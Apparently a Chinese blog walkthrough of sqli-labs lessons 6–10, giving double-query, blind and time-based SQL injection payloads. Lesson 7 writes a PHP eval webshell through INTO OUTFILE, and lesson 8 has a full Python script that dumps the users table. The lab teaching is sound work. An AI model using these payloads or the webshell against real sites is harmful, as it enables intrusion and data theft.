sqli-labs通关集(6-10)

Prat 0 开端

最近一段时间异常烦躁,写轮子没写好,打ctf么还打错地方了- -#
sqli-labs通关集(6-11)
列一下所需要用到的工具:

1:FireFox [浏览器]
2:Hackbar [FireFox插件]
3:Live Http Headers [FireFox插件]

Prat 2 目录

一: GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
二: GET - Dump into outfile - String (导出文件GET字符型注入)
三: GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
四: GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
五: GET - Blind - Time based - double quotes (基于时间的双引号盲注)

Prat 3 创造

Less 6

双引号双注入,跟Less5一样,只是把单引号变成了双引号而已。

1
" union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

1
" union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

image

Less 7

导出文件GET字符型注入
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也可以使用file参数导出一句话和一个文件上传的页面.
常用的语句是: select “<?php @eval($_POST[‘test’]);?>” into outfile “XXX\test.php” ,当这里要获取到网站的在系统中的具体路径(绝对路径)
可能会有人说了,绝对路径怎么获取呢?不过这不是本文的要点,就不说了。
下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)
首先介绍两个可以说是函数,还是变量的东西

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

image
可以看见,我这里是phpstudy搭建的,所以很容易就能猜到我的绝对路径为:E:/phpStudy/WWW

1
')) union select 1,'2','<?php @eval($_POST["test"]);?>' into outfile 'E:\\phpStudy\\WWW\\shell.php'  --+

发现并没有写进去
image
这是为什么呢?首先我们要知道,写入文件的前提

1:DBA权限
2:绝对路径
3:secure-file-priv限制

前面两个要求,不用说,肯定是满足的,那么secure-file-priv是个什么鬼呢?
他是用来限制一个mysql导出的东西
限制mysqld 不允许导入 | 导出

secure_file_prive=null

限制mysqld 的导入 | 导出 只能发生在D:\目录下

secure_file_priv=D:\

也就是说,在sqlmap中你获得了绝对路径以及拥有dba权限的情况下,遇见这类情况你还是不能进行一个gethsell
本地测试的时候怎么解决呢?
首先看一下此时参数的值
image
可以看见,secure_file_prive=null
修改my.inisecure_file_priv =就可以了
image
image

Less 8

发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

盲注需要掌握一些MySQL的相关函数:

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII:

A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库的长度

1
' and length(database())>7

image

1
' and length(database())>8

image
发现到8就没有显示了,那么说明数据库长度为8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64  

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

这里就不一一演示了,直接丢一个偷来的脚本好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
# -*-coding:utf-8-*-  

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)

print "current database:" + DBname

# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)

# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print tableName


selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)

# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)

data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print columnName

tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)

data.append(tmpData)

# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print tmp
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print tmp

# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft

# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp


def main():
inject()
main()

image

Less 9

判断为单引号基于时间的注入

1
' and sleep(5) -- +

payload:

1
' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) -- +

1
' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) -- +

判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒

Less 10

把上面的改成双引号就行

判断为基于时间的双引号注入

1
" and sleep(5) %23

payload:

1
" and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) -- +

1
" and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) -- +

参考

http://www.jb51.net/article/93445.htm
http://www.cnblogs.com/lcamry/p/5763129.html
http://blog.csdn.net/u012763794/article/details/51207833